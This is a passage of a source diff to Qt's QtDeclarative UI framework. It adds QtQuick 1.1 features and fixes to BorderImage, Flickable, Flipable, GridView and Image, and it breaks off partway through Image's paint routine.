+/*!
+    \qmlproperty QSize BorderImage::sourceSize
+
+    This property holds the actual width and height of the loaded image.
+
+    In BorderImage, this property is read-only.
+
+    \sa Image::sourceSize
+*/
 void QDeclarativeBorderImage::setSource(const QUrl &url)
 {
     Q_D(QDeclarativeBorderImage);
@@ -290,7 +312,12 @@ void QDeclarativeBorderImage::load()
             }
         } else {
 
-            d->pix.load(qmlEngine(this), d->url, d->async);
+            QDeclarativePixmap::Options options;
+            if (d->async)
+                options |= QDeclarativePixmap::Asynchronous;
+            if (d->cache)
+                options |= QDeclarativePixmap::Cache;
+            d->pix.load(qmlEngine(this), d->url, options);
 
             if (d->pix.isLoading()) {
                 d->pix.connectFinished(this, SLOT(requestFinished()));
@@ -310,6 +337,7 @@ void QDeclarativeBorderImage::load()
                 d->progress = 1.0;
                 emit statusChanged(d->status);
                 emit progressChanged(d->progress);
+                requestFinished();
                 update();
             }
         }
@@ -337,7 +365,10 @@ void QDeclarativeBorderImage::load()
     the bottom of the image:
 
     \qml
-    border.bottom: 10
+    BorderImage {
+        border.bottom: 10
+        // ...
+    }
     \endqml
 
     The border lines can also be specified using a
@@ -413,7 +444,12 @@ void QDeclarativeBorderImage::setGridScaledImage(const QDeclarativeGridScaledIma
 
         d->sciurl = d->url.resolved(QUrl(sci.pixmapUrl()));
 
-        d->pix.load(qmlEngine(this), d->sciurl, d->async);
+        QDeclarativePixmap::Options options;
+        if (d->async)
+            options |= QDeclarativePixmap::Asynchronous;
+        if (d->cache)
+            options |= QDeclarativePixmap::Cache;
+        d->pix.load(qmlEngine(this), d->sciurl, options);
 
         if (d->pix.isLoading()) {
             static int thisRequestProgress = -1;
@@ -465,6 +501,9 @@ void QDeclarativeBorderImage::requestFinished()
     setImplicitWidth(impsize.width());
     setImplicitHeight(impsize.height());
 
+    if (d->sourcesize.width() != d->pix.width() || d->sourcesize.height() != d->pix.height())
+        emit sourceSizeChanged();
+
     d->progress = 1.0;
     emit statusChanged(d->status);
     emit progressChanged(1.0);
@@ -514,8 +553,15 @@ void QDeclarativeBorderImage::paint(QPainter *p, const QStyleOptionGraphicsItem
 
     bool oldAA = p->testRenderHint(QPainter::Antialiasing);
     bool oldSmooth = p->testRenderHint(QPainter::SmoothPixmapTransform);
+    QTransform oldTransform;
     if (d->smooth)
         p->setRenderHints(QPainter::Antialiasing | QPainter::SmoothPixmapTransform, d->smooth);
+    if (d->mirror) {
+        oldTransform = p->transform();
+        QTransform mirror;
+        mirror.translate(d->width(), 0).scale(-1, 1.0);
+        p->setWorldTransform(mirror * oldTransform);
+    }
 
     const QDeclarativeScaleGrid *border = d->getScaleGrid();
     int left = border->left();
@@ -541,6 +587,8 @@ void QDeclarativeBorderImage::paint(QPainter *p, const QStyleOptionGraphicsItem
         p->setRenderHint(QPainter::Antialiasing, oldAA);
         p->setRenderHint(QPainter::SmoothPixmapTransform, oldSmooth);
     }
+    if (d->mirror)
+        p->setWorldTransform(oldTransform);
 }
 
 QT_END_NAMESPACE
diff --git a/src/declarative/graphicsitems/qdeclarativeborderimage_p.h b/src/declarative/graphicsitems/qdeclarativeborderimage_p.h
index ca1eae8..f4c6594 100644
--- a/src/declarative/graphicsitems/qdeclarativeborderimage_p.h
+++ b/src/declarative/graphicsitems/qdeclarativeborderimage_p.h
@@ -63,6 +63,9 @@ class Q_AUTOTEST_EXPORT QDeclarativeBorderImage : public QDeclarativeImageBase
     Q_PROPERTY(TileMode horizontalTileMode READ horizontalTileMode WRITE setHorizontalTileMode NOTIFY horizontalTileModeChanged)
     Q_PROPERTY(TileMode verticalTileMode READ verticalTileMode WRITE setVerticalTileMode NOTIFY verticalTileModeChanged)
 
+    // read-only for BorderImage
+    Q_PROPERTY(QSize sourceSize READ sourceSize NOTIFY sourceSizeChanged)
+
 public:
     QDeclarativeBorderImage(QDeclarativeItem *parent=0);
     ~QDeclarativeBorderImage();
@@ -83,6 +86,7 @@ public:
 Q_SIGNALS:
     void horizontalTileModeChanged();
     void verticalTileModeChanged();
+    void sourceSizeChanged();
 
 protected:
     virtual void load();
diff --git a/src/declarative/graphicsitems/qdeclarativeflickable.cpp b/src/declarative/graphicsitems/qdeclarativeflickable.cpp
index d35718b..1f1b39a 100644
--- a/src/declarative/graphicsitems/qdeclarativeflickable.cpp
+++ b/src/declarative/graphicsitems/qdeclarativeflickable.cpp
@@ -53,6 +53,10 @@ QT_BEGIN_NAMESPACE
 // before we perform a flick.
 static const int FlickThreshold = 20;
 
+// RetainGrabVelocity is the maxmimum instantaneous velocity that
+// will ensure the  Flickable retains the grab on consecutive flicks.
+static const int RetainGrabVelocity = 15;
+
 QDeclarativeFlickableVisibleArea::QDeclarativeFlickableVisibleArea(QDeclarativeFlickable *parent)
     : QObject(parent), flickable(parent), m_xPosition(0.), m_widthRatio(0.)
     , m_yPosition(0.), m_heightRatio(0.)
@@ -373,9 +377,9 @@ void QDeclarativeFlickablePrivate::updateBeginningEnd()
 
     \section1 Example Usage
 
-    \beginfloatright
+    \div {float-right}
     \inlineimage flickable.gif
-    \endfloat
+    \enddiv
 
     The following example shows a small view onto a large image in which the
     user can drag or flick the image in order to view different parts of it.
@@ -672,7 +676,8 @@ void QDeclarativeFlickable::setFlickableDirection(FlickableDirection direction)
 void QDeclarativeFlickablePrivate::handleMousePressEvent(QGraphicsSceneMouseEvent *event)
 {
     Q_Q(QDeclarativeFlickable);
-    if (interactive && timeline.isActive() && (qAbs(hData.velocity) > 10 || qAbs(vData.velocity) > 10))
+    if (interactive && timeline.isActive()
+            && (qAbs(hData.smoothVelocity.value()) > RetainGrabVelocity || qAbs(vData.smoothVelocity.value()) > RetainGrabVelocity))
         stealMouse = true; // If we've been flicked then steal the click.
     else
         stealMouse = false;
@@ -840,7 +845,8 @@ void QDeclarativeFlickable::mousePressEvent(QGraphicsSceneMouseEvent *event)
 {
     Q_D(QDeclarativeFlickable);
     if (d->interactive) {
-        d->handleMousePressEvent(event);
+        if (!d->pressed)
+            d->handleMousePressEvent(event);
         event->accept();
     } else {
         QDeclarativeItem::mousePressEvent(event);
@@ -876,7 +882,7 @@ void QDeclarativeFlickable::wheelEvent(QGraphicsSceneWheelEvent *event)
     Q_D(QDeclarativeFlickable);
     if (!d->interactive) {
         QDeclarativeItem::wheelEvent(event);
-    } else if (yflick()) {
+    } else if (yflick() && event->orientation() == Qt::Vertical) {
         if (event->delta() > 0)
             d->vData.velocity = qMax(event->delta() - d->vData.smoothVelocity.value(), qreal(250.0));
         else
@@ -888,7 +894,7 @@ void QDeclarativeFlickable::wheelEvent(QGraphicsSceneWheelEvent *event)
             movementStarting();
         }
         event->accept();
-    } else if (xflick()) {
+    } else if (xflick() && event->orientation() == Qt::Horizontal) {
         if (event->delta() > 0)
             d->hData.velocity = qMax(event->delta() - d->hData.smoothVelocity.value(), qreal(250.0));
         else
@@ -905,11 +911,27 @@ void QDeclarativeFlickable::wheelEvent(QGraphicsSceneWheelEvent *event)
     }
 }
 
+bool QDeclarativeFlickablePrivate::isOutermostPressDelay() const
+{
+    Q_Q(const QDeclarativeFlickable);
+    QDeclarativeItem *item = q->parentItem();
+    while (item) {
+        QDeclarativeFlickable *flick = qobject_cast<QDeclarativeFlickable*>(item);
+        if (flick && flick->pressDelay() > 0 && flick->isInteractive())
+            return false;
+        item = item->parentItem();
+    }
+
+    return true;
+}
+
 void QDeclarativeFlickablePrivate::captureDelayedPress(QGraphicsSceneMouseEvent *event)
 {
     Q_Q(QDeclarativeFlickable);
     if (!q->scene() || pressDelay <= 0)
         return;
+    if (!isOutermostPressDelay())
+        return;
     delayedPressTarget = q->scene()->mouseGrabberItem();
     delayedPressEvent = new QGraphicsSceneMouseEvent(event->type());
     delayedPressEvent->setAccepted(false);
@@ -965,9 +987,10 @@ void QDeclarativeFlickable::timerEvent(QTimerEvent *event)
                 if (scene()->mouseGrabberItem() == d->delayedPressTarget)
                     d->delayedPressTarget->ungrabMouse();
                 //Use the event handler that will take care of finding the proper item to propagate the event
-                QApplication::sendEvent(scene(), d->delayedPressEvent);
+                QApplication::postEvent(scene(), d->delayedPressEvent);
+            } else {
+                delete d->delayedPressEvent;
             }
-            delete d->delayedPressEvent;
             d->delayedPressEvent = 0;
         }
     }
@@ -1250,6 +1273,60 @@ void QDeclarativeFlickable::setContentHeight(qreal h)
     d->updateBeginningEnd();
 }
 
+/*!
+    \qmlmethod Flickable::resizeContent(real width, real height, QPointF center)
+    \preliminary
+
+    Resizes the content to \a width x \a height about \a center.
+
+    \bold {This method was added in QtQuick 1.1.}
+
+    This does not scale the contents of the Flickable - it only resizes the \l contentWidth
+    and \l contentHeight.
+
+    Resizing the content may result in the content being positioned outside
+    the bounds of the Flickable.  Calling \l returnToBounds() will
+    move the content back within legal bounds.
+*/
+void QDeclarativeFlickable::resizeContent(qreal w, qreal h, QPointF center)
+{
+    Q_D(QDeclarativeFlickable);
+    if (w != d->hData.viewSize) {
+        qreal oldSize = d->hData.viewSize;
+        setContentWidth(w);
+        if (center.x() != 0) {
+            qreal pos = center.x() * w / oldSize;
+            setContentX(contentX() + pos - center.x());
+        }
+    }
+    if (h != d->vData.viewSize) {
+        qreal oldSize = d->vData.viewSize;
+        setContentHeight(h);
+        if (center.y() != 0) {
+            qreal pos = center.y() * h / oldSize;
+            setContentY(contentY() + pos - center.y());
+        }
+    }
+}
+
+/*!
+    \qmlmethod Flickable::returnToBounds()
+    \preliminary
+
+    Ensures the content is within legal bounds.
+
+    \bold {This method was added in QtQuick 1.1.}
+
+    This may be called to ensure that the content is within legal bounds
+    after manually positioning the content.
+*/
+void QDeclarativeFlickable::returnToBounds()
+{
+    Q_D(QDeclarativeFlickable);
+    d->fixupX();
+    d->fixupY();
+}
+
 qreal QDeclarativeFlickable::vWidth() const
 {
     Q_D(const QDeclarativeFlickable);
@@ -1284,6 +1361,22 @@ bool QDeclarativeFlickable::yflick() const
     return d->flickableDirection & QDeclarativeFlickable::VerticalFlick;
 }
 
+bool QDeclarativeFlickable::sceneEvent(QEvent *event)
+{
+    bool rv = QDeclarativeItem::sceneEvent(event);
+    if (event->type() == QEvent::UngrabMouse) {
+        Q_D(QDeclarativeFlickable);
+        if (d->pressed) {
+            // if our mouse grab has been removed (probably by another Flickable),
+            // fix our state
+            d->pressed = false;
+            d->stealMouse = false;
+            setKeepMouseGrab(false);
+        }
+    }
+    return rv;
+}
+
 bool QDeclarativeFlickable::sendMouseEvent(QGraphicsSceneMouseEvent *event)
 {
     Q_D(QDeclarativeFlickable);
@@ -1311,7 +1404,7 @@ bool QDeclarativeFlickable::sendMouseEvent(QGraphicsSceneMouseEvent *event)
             d->handleMouseMoveEvent(&mouseEvent);
             break;
         case QEvent::GraphicsSceneMousePress:
-            if (d->delayedPressEvent)
+            if (d->pressed) // we are already pressed - this is a delayed replay
                 return false;
 
             d->handleMousePressEvent(&mouseEvent);
@@ -1330,6 +1423,8 @@ bool QDeclarativeFlickable::sendMouseEvent(QGraphicsSceneMouseEvent *event)
                 // We send the release
                 scene()->sendEvent(s->mouseGrabberItem(), event);
                 // And the event has been consumed
+                d->stealMouse = false;
+                d->pressed = false;
                 return true;
             }
             d->handleMouseReleaseEvent(&mouseEvent);
@@ -1352,6 +1447,7 @@ bool QDeclarativeFlickable::sendMouseEvent(QGraphicsSceneMouseEvent *event)
         d->stealMouse = false;
         d->pressed = false;
     }
+
     return false;
 }
 
@@ -1450,6 +1546,9 @@ bool QDeclarativeFlickable::isFlickingVertically() const
     If the flickable is dragged/flicked before the delay times out
     the press event will not be delivered.  If the button is released
     within the timeout, both the press and release will be delivered.
+
+    Note that for nested Flickables with pressDelay set, the pressDelay of
+    inner Flickables is overridden by the outermost Flickable.
 */
 int QDeclarativeFlickable::pressDelay() const
 {
diff --git a/src/declarative/graphicsitems/qdeclarativeflickable_p.h b/src/declarative/graphicsitems/qdeclarativeflickable_p.h
index 1359dc8..a14cc1c 100644
--- a/src/declarative/graphicsitems/qdeclarativeflickable_p.h
+++ b/src/declarative/graphicsitems/qdeclarativeflickable_p.h
@@ -149,6 +149,9 @@ public:
     FlickableDirection flickableDirection() const;
     void setFlickableDirection(FlickableDirection);
 
+    Q_INVOKABLE Q_REVISION(1) void resizeContent(qreal w, qreal h, QPointF center);
+    Q_INVOKABLE Q_REVISION(1) void returnToBounds();
+
 Q_SIGNALS:
     void contentWidthChanged();
     void contentHeightChanged();
@@ -201,6 +204,7 @@ protected:
     virtual void viewportMoved();
     virtual void geometryChanged(const QRectF &newGeometry,
                                  const QRectF &oldGeometry);
+    bool sceneEvent(QEvent *event);
     bool sendMouseEvent(QGraphicsSceneMouseEvent *event);
 
     bool xflick() const;
diff --git a/src/declarative/graphicsitems/qdeclarativeflickable_p_p.h b/src/declarative/graphicsitems/qdeclarativeflickable_p_p.h
index 5ad6ff6..1b6081c 100644
--- a/src/declarative/graphicsitems/qdeclarativeflickable_p_p.h
+++ b/src/declarative/graphicsitems/qdeclarativeflickable_p_p.h
@@ -118,6 +118,7 @@ public:
 
     void updateBeginningEnd();
 
+    bool isOutermostPressDelay() const;
     void captureDelayedPress(QGraphicsSceneMouseEvent *event);
     void clearDelayedPress();
 
diff --git a/src/declarative/graphicsitems/qdeclarativeflipable.cpp b/src/declarative/graphicsitems/qdeclarativeflipable.cpp
index 160872c..5fda758 100644
--- a/src/declarative/graphicsitems/qdeclarativeflipable.cpp
+++ b/src/declarative/graphicsitems/qdeclarativeflipable.cpp
@@ -142,6 +142,7 @@ void QDeclarativeFlipable::setFront(QGraphicsObject *front)
     d->front->setParentItem(this);
     if (Back == d->current)
         d->front->setOpacity(0.);
+    emit frontChanged();
 }
 
 QGraphicsObject *QDeclarativeFlipable::back()
@@ -165,6 +166,7 @@ void QDeclarativeFlipable::setBack(QGraphicsObject *back)
             this, SLOT(retransformBack()));
     connect(back, SIGNAL(heightChanged()),
             this, SLOT(retransformBack()));
+    emit backChanged();
 }
 
 void QDeclarativeFlipable::retransformBack()
diff --git a/src/declarative/graphicsitems/qdeclarativeflipable_p.h b/src/declarative/graphicsitems/qdeclarativeflipable_p.h
index c294697..4ea2ec0 100644
--- a/src/declarative/graphicsitems/qdeclarativeflipable_p.h
+++ b/src/declarative/graphicsitems/qdeclarativeflipable_p.h
@@ -60,8 +60,8 @@ class Q_AUTOTEST_EXPORT QDeclarativeFlipable : public QDeclarativeItem
     Q_OBJECT
 
     Q_ENUMS(Side)
-    Q_PROPERTY(QGraphicsObject *front READ front WRITE setFront)
-    Q_PROPERTY(QGraphicsObject *back READ back WRITE setBack)
+    Q_PROPERTY(QGraphicsObject *front READ front WRITE setFront NOTIFY frontChanged)
+    Q_PROPERTY(QGraphicsObject *back READ back WRITE setBack NOTIFY backChanged)
     Q_PROPERTY(Side side READ side NOTIFY sideChanged)
     //### flipAxis
     //### flipRotation
@@ -79,6 +79,8 @@ public:
     Side side() const;
 
 Q_SIGNALS:
+    void frontChanged();
+    void backChanged();
     void sideChanged();
 
 private Q_SLOTS:
diff --git a/src/declarative/graphicsitems/qdeclarativegridview.cpp b/src/declarative/graphicsitems/qdeclarativegridview.cpp
index 4c04a6b..6d2285d 100644
--- a/src/declarative/graphicsitems/qdeclarativegridview.cpp
+++ b/src/declarative/graphicsitems/qdeclarativegridview.cpp
@@ -82,7 +82,7 @@ public:
             item->setPos(QPointF(row, col));
         }
     }
-    bool contains(int x, int y) const {
+    bool contains(qreal x, qreal y) const {
         return (x >= item->x() && x < item->x() + view->cellWidth() &&
                 y >= item->y() && y < item->y() + view->cellHeight());
     }
@@ -331,11 +331,14 @@ public:
                 }
             }
         } else if ((header && header->item == item) || (footer && footer->item == item)) {
-            updateHeader();
-            updateFooter();
+            if (header)
+                updateHeader();
+            if (footer)
+                updateFooter();
         }
     }
 
+    void positionViewAtIndex(int index, int mode);
     virtual void fixup(AxisData &data, qreal minExtent, qreal maxExtent);
     virtual void flick(AxisData &data, qreal minExtent, qreal maxExtent, qreal vSize,
                 QDeclarativeTimeLineCallback::Callback fixupCallback, qreal velocity);
@@ -1095,9 +1098,9 @@ void QDeclarativeGridViewPrivate::flick(AxisData &data, qreal minExtent, qreal m
 
     \snippet doc/src/snippets/declarative/gridview/ContactModel.qml 0
 
-    \beginfloatright
+    \div {float-right}
     \inlineimage gridview-simple.png
-    \endfloat
+    \enddiv
 
     This model can be referenced as \c ContactModel in other QML files. See \l{QML Modules}
     for more information about creating reusable components like this.
@@ -1111,9 +1114,9 @@ void QDeclarativeGridViewPrivate::flick(AxisData &data, qreal minExtent, qreal m
     \codeline
     \snippet doc/src/snippets/declarative/gridview/gridview.qml classdocs simple
 
-    \beginfloatright
+    \div {float-right}
     \inlineimage gridview-highlight.png
-    \endfloat
+    \enddiv
 
     The view will create a new delegate for each item in the model. Note that the delegate
     is able to access the model's \c name and \c portrait data directly.
@@ -1615,6 +1618,8 @@ void QDeclarativeGridView::setFlow(Flow flow)
             setContentHeight(-1);
             setFlickableDirection(QDeclarativeFlickable::HorizontalFlick);
         }
+        setContentX(0);
+        setContentY(0);
         d->clear();
         d->updateGrid();
         refill();
@@ -1776,6 +1781,9 @@ void QDeclarativeGridView::setFooter(QDeclarativeComponent *footer)
     Q_D(QDeclarativeGridView);
     if (d->footerComponent != footer) {
         if (d->footer) {
+            if (scene())
+                scene()->removeItem(d->footer->item);
+            d->footer->item->deleteLater();
             delete d->footer;
             d->footer = 0;
         }
@@ -1783,6 +1791,7 @@ void QDeclarativeGridView::setFooter(QDeclarativeComponent *footer)
         if (isComponentComplete()) {
             d->updateFooter();
             d->updateGrid();
+            d->fixupPosition();
         }
         emit footerChanged();
     }
@@ -1808,6 +1817,9 @@ void QDeclarativeGridView::setHeader(QDeclarativeComponent *header)
     Q_D(QDeclarativeGridView);
     if (d->headerComponent != header) {
         if (d->header) {
+            if (scene())
+                scene()->removeItem(d->header->item);
+            d->header->item->deleteLater();
             delete d->header;
             d->header = 0;
         }
@@ -1816,6 +1828,7 @@ void QDeclarativeGridView::setHeader(QDeclarativeComponent *header)
             d->updateHeader();
             d->updateFooter();
             d->updateGrid();
+            d->fixupPosition();
         }
         emit headerChanged();
     }
@@ -2122,6 +2135,78 @@ void QDeclarativeGridView::moveCurrentIndexRight()
     }
 }
 
+void QDeclarativeGridViewPrivate::positionViewAtIndex(int index, int mode)
+{
+    Q_Q(QDeclarativeGridView);
+    if (!isValid())
+        return;
+    if (mode < QDeclarativeGridView::Beginning || mode > QDeclarativeGridView::Contain)
+        return;
+
+    int idx = qMax(qMin(index, model->count()-1), 0);
+
+    if (layoutScheduled)
+        layout();
+    qreal pos = position();
+    FxGridItem *item = visibleItem(idx);
+    qreal maxExtent = flow == QDeclarativeGridView::LeftToRight ? -q->maxYExtent() : -q->maxXExtent();
+    if (!item) {
+        int itemPos = rowPosAt(idx);
+        // save the currently visible items in case any of them end up visible again
+        QList<FxGridItem*> oldVisible = visibleItems;
+        visibleItems.clear();
+        visibleIndex = idx - idx % columns;
+        maxExtent = flow == QDeclarativeGridView::LeftToRight ? -q->maxYExtent() : -q->maxXExtent();
+        setPosition(qMin(qreal(itemPos), maxExtent));
+        // now release the reference to all the old visible items.
+        for (int i = 0; i < oldVisible.count(); ++i)
+            releaseItem(oldVisible.at(i));
+        item = visibleItem(idx);
+    }
+    if (item) {
+        qreal itemPos = item->rowPos();
+        switch (mode) {
+        case QDeclarativeGridView::Beginning:
+            pos = itemPos;
+            if (index < 0 && header) {
+                pos -= flow == QDeclarativeGridView::LeftToRight
+                            ? header->item->height()
+                            : header->item->width();
+            }
+            break;
+        case QDeclarativeGridView::Center:
+            pos = itemPos - (size() - rowSize())/2;
+            break;
+        case QDeclarativeGridView::End:
+            pos = itemPos - size() + rowSize();
+            if (index >= model->count() && footer) {
+                pos += flow == QDeclarativeGridView::LeftToRight
+                            ? footer->item->height()
+                            : footer->item->width();
+            }
+            break;
+        case QDeclarativeGridView::Visible:
+            if (itemPos > pos + size())
+                pos = itemPos - size() + rowSize();
+            else if (item->endRowPos() < pos)
+                pos = itemPos;
+            break;
+        case QDeclarativeGridView::Contain:
+            if (item->endRowPos() > pos + size())
+                pos = itemPos - size() + rowSize();
+            if (itemPos < pos)
+                pos = itemPos;
+        }
+        pos = qMin(pos, maxExtent);
+        qreal minExtent = flow == QDeclarativeGridView::LeftToRight ? -q->minYExtent() : -q->minXExtent();
+        pos = qMax(pos, minExtent);
+        moveReason = QDeclarativeGridViewPrivate::Other;
+        q->cancelFlick();
+        setPosition(pos);
+    }
+    fixupPosition();
+}
+
 /*!
     \qmlmethod GridView::positionViewAtIndex(int index, PositionMode mode)
 
@@ -2159,58 +2244,42 @@ void QDeclarativeGridView::positionViewAtIndex(int index, int mode)
     Q_D(QDeclarativeGridView);
     if (!d->isValid() || index < 0 || index >= d->model->count())
         return;
-    if (mode < Beginning || mode > Contain)
+    d->positionViewAtIndex(index, mode);
+}
+
+/*!
+    \qmlmethod GridView::positionViewAtBeginning()
+    \qmlmethod GridView::positionViewAtEnd()
+
+    Positions the view at the beginning or end, taking into account any header or footer.
+
+    It is not recommended to use \l {Flickable::}{contentX} or \l {Flickable::}{contentY} to position the view
+    at a particular index.  This is unreliable since removing items from the start
+    of the list does not cause all other items to be repositioned, and because
+    the actual start of the view can vary based on the size of the delegates.
+
+    \bold Note: methods should only be called after the Component has completed.  To position
+    the view at startup, this method should be called by Component.onCompleted.  For
+    example, to position the view at the end on startup:
+
+    \code
+    Component.onCompleted: positionViewAtEnd()
+    \endcode
+*/
+void QDeclarativeGridView::positionViewAtBeginning()
+{
+    Q_D(QDeclarativeGridView);
+    if (!d->isValid())
         return;
+    d->positionViewAtIndex(-1, Beginning);
+}
 
-    if (d->layoutScheduled)
-        d->layout();
-    qreal pos = d->position();
-    qreal maxExtent = d->flow == QDeclarativeGridView::LeftToRight ? -maxYExtent() : -maxXExtent();
-    FxGridItem *item = d->visibleItem(index);
-    if (!item) {
-        int itemPos = d->rowPosAt(index);
-        // save the currently visible items in case any of them end up visible again
-        QList<FxGridItem*> oldVisible = d->visibleItems;
-        d->visibleItems.clear();
-        d->visibleIndex = index - index % d->columns;
-        d->setPosition(qMin(qreal(itemPos), maxExtent));
-        // now release the reference to all the old visible items.
-        for (int i = 0; i < oldVisible.count(); ++i)
-            d->releaseItem(oldVisible.at(i));
-        item = d->visibleItem(index);
-    }
-    if (item) {
-        qreal itemPos = item->rowPos();
-        switch (mode) {
-        case Beginning:
-            pos = itemPos;
-            break;
-        case Center:
-            pos = itemPos - (d->size() - d->rowSize())/2;
-            break;
-        case End:
-            pos = itemPos - d->size() + d->rowSize();
-            break;
-        case Visible:
-            if (itemPos > pos + d->size())
-                pos = itemPos - d->size() + d->rowSize();
-            else if (item->endRowPos() < pos)
-                pos = itemPos;
-            break;
-        case Contain:
-            if (item->endRowPos() > pos + d->size())
-                pos = itemPos - d->size() + d->rowSize();
-            if (itemPos < pos)
-                pos = itemPos;
-        }
-        pos = qMin(pos, maxExtent);
-        qreal minExtent = d->flow == QDeclarativeGridView::LeftToRight ? -minYExtent() : -minXExtent();
-        pos = qMax(pos, minExtent);
-        d->moveReason = QDeclarativeGridViewPrivate::Other;
-        cancelFlick();
-        d->setPosition(pos);
-    }
-    d->fixupPosition();
+void QDeclarativeGridView::positionViewAtEnd()
+{
+    Q_D(QDeclarativeGridView);
+    if (!d->isValid())
+        return;
+    d->positionViewAtIndex(d->model->count(), End);
 }
 
 /*!
@@ -2225,7 +2294,7 @@ void QDeclarativeGridView::positionViewAtIndex(int index, int mode)
 
     \bold Note: methods should only be called after the Component has completed.
 */
-int QDeclarativeGridView::indexAt(int x, int y) const
+int QDeclarativeGridView::indexAt(qreal x, qreal y) const
 {
     Q_D(const QDeclarativeGridView);
     for (int i = 0; i < d->visibleItems.count(); ++i) {
@@ -2321,24 +2390,9 @@ void QDeclarativeGridView::itemsInserted(int modelIndex, int count)
     Q_D(QDeclarativeGridView);
     if (!isComponentComplete())
         return;
-    if (!d->visibleItems.count() || d->model->count() <= 1) {
-        d->scheduleLayout();
-        if (d->itemCount && d->currentIndex >= modelIndex) {
-            // adjust current item index
-            d->currentIndex += count;
-            if (d->currentItem)
-                d->currentItem->index = d->currentIndex;
-            emit currentIndexChanged();
-        } else if (!d->currentIndex || (d->currentIndex < 0 && !d->currentIndexCleared)) {
-            d->updateCurrent(0);
-        }
-        d->itemCount += count;
-        emit countChanged();
-        return;
-    }
 
-    int index = d->mapFromModel(modelIndex);
-    if (index == -1) {
+    int index = d->visibleItems.count() ? d->mapFromModel(modelIndex) : 0;
+    if (index < 0) {
         int i = d->visibleItems.count() - 1;
         while (i > 0 && d->visibleItems.at(i)->index == -1)
             --i;
@@ -2369,28 +2423,35 @@ void QDeclarativeGridView::itemsInserted(int modelIndex, int count)
         }
     }
 
-    // At least some of the added items will be visible
     int insertCount = count;
-    if (index < d->visibleIndex) {
+    if (index < d->visibleIndex && d->visibleItems.count()) {
         insertCount -= d->visibleIndex - index;
         index = d->visibleIndex;
         modelIndex = d->visibleIndex;
     }
 
-    index -= d->visibleIndex;
     int to = d->buffer+d->position()+d->size()-1;
-    int colPos, rowPos;
-    if (index < d->visibleItems.count()) {
-        colPos = d->visibleItems.at(index)->colPos();
-        rowPos = d->visibleItems.at(index)->rowPos();
-    } else {
-        // appending items to visible list
-        colPos = d->visibleItems.at(index-1)->colPos() + d->colSize();
-        rowPos = d->visibleItems.at(index-1)->rowPos();
-        if (colPos > d->colSize() * (d->columns-1)) {
-            colPos = 0;
-            rowPos += d->rowSize();
+    int colPos = 0;
+    int rowPos = 0;
+    if (d->visibleItems.count()) {
+        index -= d->visibleIndex;
+        if (index < d->visibleItems.count()) {
+            colPos = d->visibleItems.at(index)->colPos();
+            rowPos = d->visibleItems.at(index)->rowPos();
+        } else {
+            // appending items to visible list
+            colPos = d->visibleItems.at(index-1)->colPos() + d->colSize();
+            rowPos = d->visibleItems.at(index-1)->rowPos();
+            if (colPos > d->colSize() * (d->columns-1)) {
+                colPos = 0;
+                rowPos += d->rowSize();
+            }
         }
+    } else if (d->itemCount == 0 && d->header) {
+        if (d->flow == QDeclarativeGridView::LeftToRight)
+            rowPos = d->headerSize();
+        else
+            colPos = d->headerSize();
     }
 
     // Update the indexes of the following visible items.
@@ -2443,6 +2504,8 @@ void QDeclarativeGridView::itemsInserted(int modelIndex, int count)
         if (d->currentItem) {
             d->currentItem->index = d->currentIndex;
             d->currentItem->setPosition(d->colPosAt(d->currentIndex), d->rowPosAt(d->currentIndex));
+        } else if (!d->currentIndex || (d->currentIndex < 0 && !d->currentIndexCleared)) {
+            d->updateCurrent(0);
         }
         emit currentIndexChanged();
     }
@@ -2560,12 +2623,8 @@ void QDeclarativeGridView::itemsMoved(int from, int to, int count)
         return;
     QHash<int,FxGridItem*> moved;
 
-    bool removedBeforeVisible = false;
     FxGridItem *firstItem = d->firstVisibleItem();
 
-    if (from < to && from < d->visibleIndex && to > d->visibleIndex)
-        removedBeforeVisible = true;
-
     QList<FxGridItem*>::Iterator it = d->visibleItems.begin();
     while (it != d->visibleItems.end()) {
         FxGridItem *item = *it;
@@ -2574,16 +2633,12 @@ void QDeclarativeGridView::itemsMoved(int from, int to, int count)
             item->index += (to-from);
             moved.insert(item->index, item);
             it = d->visibleItems.erase(it);
-            if (item->rowPos() < firstItem->rowPos())
-                removedBeforeVisible = true;
         } else {
             if (item->index > from && item->index != -1) {
                 // move everything after the moved items.
                 item->index -= count;
                 if (item->index < d->visibleIndex)
                     d->visibleIndex = item->index;
-            } else if (item->index != -1) {
-                removedBeforeVisible = true;
             }
             ++it;
         }
diff --git a/src/declarative/graphicsitems/qdeclarativegridview_p.h b/src/declarative/graphicsitems/qdeclarativegridview_p.h
index 7dc8954..e68a9ba 100644
--- a/src/declarative/graphicsitems/qdeclarativegridview_p.h
+++ b/src/declarative/graphicsitems/qdeclarativegridview_p.h
@@ -158,7 +158,9 @@ public:
     enum PositionMode { Beginning, Center, End, Visible, Contain };
 
     Q_INVOKABLE void positionViewAtIndex(int index, int mode);
-    Q_INVOKABLE int indexAt(int x, int y) const;
+    Q_INVOKABLE int indexAt(qreal x, qreal y) const;
+    Q_INVOKABLE Q_REVISION(1) void positionViewAtBeginning();
+    Q_INVOKABLE Q_REVISION(1) void positionViewAtEnd();
 
     static QDeclarativeGridViewAttached *qmlAttachedProperties(QObject *);
 
diff --git a/src/declarative/graphicsitems/qdeclarativeimage.cpp b/src/declarative/graphicsitems/qdeclarativeimage.cpp
index e90a4df..2c9bde5 100644
--- a/src/declarative/graphicsitems/qdeclarativeimage.cpp
+++ b/src/declarative/graphicsitems/qdeclarativeimage.cpp
@@ -458,84 +458,102 @@ QRectF QDeclarativeImage::boundingRect() const
     are always loaded asynchonously.
 */
 
+/*!
+    \qmlproperty bool Image::cache
+    \since Quick 1.1
+
+    Specifies whether the image should be cached. The default value is
+    true. Setting \a cache to false is useful when dealing with large images,
+    to make sure that they aren't cached at the expense of small 'ui element' images.
+*/
+
+/*!
+    \qmlproperty bool Image::mirror
+    \since Quick 1.1
+
+    This property holds whether the image should be horizontally inverted
+    (effectively displaying a mirrored image).
+
+    The default value is false.
+*/
+
+
 void QDeclarativeImage::paint(QPainter *p, const QStyleOptionGraphicsItem *, QWidget *)
 {
     Q_D(QDeclarativeImage);
     if (d->pix.pixmap().isNull() )
         return;
 
-    bool oldAA = p->testRenderHint(QPainter::Antialiasing);
-    bool oldSmooth = p->testRenderHint(QPainter::SmoothPixmapTransform);
-    if (d->smooth)
-        p->setRenderHints(QPainter::Antialiasing | QPainter::SmoothPixmapTransform, d->smooth);
+    int drawWidth = width();
+    int drawHeight = height();
+    bool doClip = false;
+    QTransform transform;
+    qreal widthScale = width() / qreal(d->pix.width());
+    qreal heightScale = height() / qreal(d->pix.height());
 
